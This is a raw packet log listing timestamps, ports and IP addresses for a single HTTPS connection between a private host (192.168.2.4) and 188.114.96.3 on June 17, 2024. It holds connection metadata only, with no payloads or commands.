Jun 17, 2024 16:19:05.379703045 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.379741907 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.379776001 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.379781961 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.379801035 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.379823923 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.379923105 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.379965067 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.379982948 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.379988909 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.380023956 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.380043030 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.380120039 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.380163908 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.380179882 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.380186081 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.380219936 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.380232096 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.380309105 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.380348921 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.380376101 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.380381107 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.380409002 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.380423069 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.380502939 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.380547047 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.380558968 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.380583048 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.380603075 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.380625010 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.380795956 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.380836964 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.380853891 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.380860090 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.380899906 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.381016970 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.381058931 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.381077051 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.381083012 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.381114006 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.381129980 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.381210089 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.381249905 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.381262064 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.381268978 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.381329060 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.381330013 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.381383896 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.381422997 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.381448984 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.381453991 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.381480932 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.381500959 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.381566048 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.381611109 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.381630898 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.381637096 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.381674051 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.381817102 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.381859064 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.381877899 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.381884098 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.381917000 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.381937981 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.382010937 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.382070065 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.382081032 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.382091999 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.382128954 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.382148981 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.382242918 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.382299900 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.382318974 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.382325888 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.382368088 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.382368088 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.382445097 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.382488012 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.382519007 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.382524014 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.382551908 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.382570982 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.382636070 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.382677078 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.382689953 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.382695913 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.382731915 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.382745981 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.382869005 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.382922888 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.382930040 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.382945061 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.382977009 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.382989883 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.383037090 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.383095980 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.383137941 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.383157015 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.383162975 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.383193970 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.383208990 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.383286953 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.383286953 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.383330107 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.383344889 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.383351088 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.383402109 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.383477926 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.383519888 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.383522987 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.383543968 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.383548975 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.383573055 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.383589029 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.383711100 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.383719921 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.383761883 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.383783102 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.383788109 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.383812904 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.383831978 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.383922100 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.383944035 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.384012938 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.384021997 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.384035110 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.384066105 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.384079933 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.384169102 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.384177923 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.384218931 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.384238958 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.384244919 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.384274960 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.384284973 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.384368896 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.384386063 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.384409904 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.384418964 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.384448051 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.384453058 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.384474993 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.384490967 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.384574890 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.384618998 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.384638071 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.384644032 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.384654999 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.384674072 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.384708881 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.384743929 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.384783983 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.384805918 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.384824991 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.384855986 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.384870052 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.384948969 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.384989023 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.385030985 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.385047913 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.385057926 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.385092020 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.385113001 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.385198116 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.385241985 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.385284901 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.385318041 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.385318041 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.385324001 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.385349035 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.385370970 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.385437965 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.385488033 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.385493040 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.385510921 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.385519028 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.385554075 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.385562897 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.385601044 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.385638952 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.385680914 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.385689974 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.385704041 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.385735035 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.385756016 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.385812044 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.385842085 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.385881901 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.385906935 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.385911942 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.385937929 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.385953903 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.386003017 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.386044025 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.386050940 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.386070013 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.386075020 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.386106014 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.386116982 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.386219025 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.386248112 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.386261940 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.386281967 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.386287928 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.386317015 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.386332035 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.386384964 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.386428118 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.386451006 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.386456013 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.386481047 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.386495113 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.386543036 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.386586905 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.386600971 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.386605978 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.386636019 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.386709929 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.386749983 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.386765957 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.386771917 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.386802912 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.386814117 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.386832952 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.386877060 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.386898994 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.386904001 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.386925936 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.386948109 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.386948109 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.387408018 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.397190094 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.397218943 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.397311926 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.397320032 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.397375107 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.400199890 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.400218010 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.400305986 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.400312901 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.400516987 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.400588989 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.400635004 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.400649071 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.400655031 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.400686979 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.400742054 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.400785923 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.400801897 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.400806904 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.400840044 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.400857925 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.401061058 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.401108027 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.401134968 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.401139975 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.401163101 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.401182890 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.401343107 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.401390076 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.401417017 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.401421070 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.401452065 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.401465893 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.401546955 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.401606083 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.401638985 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.401644945 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.401673079 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.401688099 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.401761055 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.401803970 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.401830912 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.401835918 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.401865959 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.401884079 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.401958942 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.402003050 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.402026892 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.402031898 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.402060986 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.402069092 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.402137995 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.402179003 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.402199984 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.402205944 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.402245998 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.402396917 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.402436972 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.402462006 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.402467012 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.402482986 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.402503967 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.402586937 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.402626991 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.402647972 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.402652979 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.402682066 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.402695894 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.402760983 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.402803898 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.402829885 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.402834892 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.402863979 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.402883053 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.402930975 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.402971029 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.403007030 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.403012037 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.403026104 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.403052092 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.403126001 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.403166056 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.403186083 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.403191090 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.403219938 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.403234005 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.403348923 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.403392076 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.403423071 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.403428078 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.403459072 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.403474092 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.403543949 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.403589010 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.403614044 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.403619051 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.403650045 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.403660059 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.403739929 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.403781891 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.403800964 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.403806925 CEST	443	65277	188.114.96.3	192.168.2.4
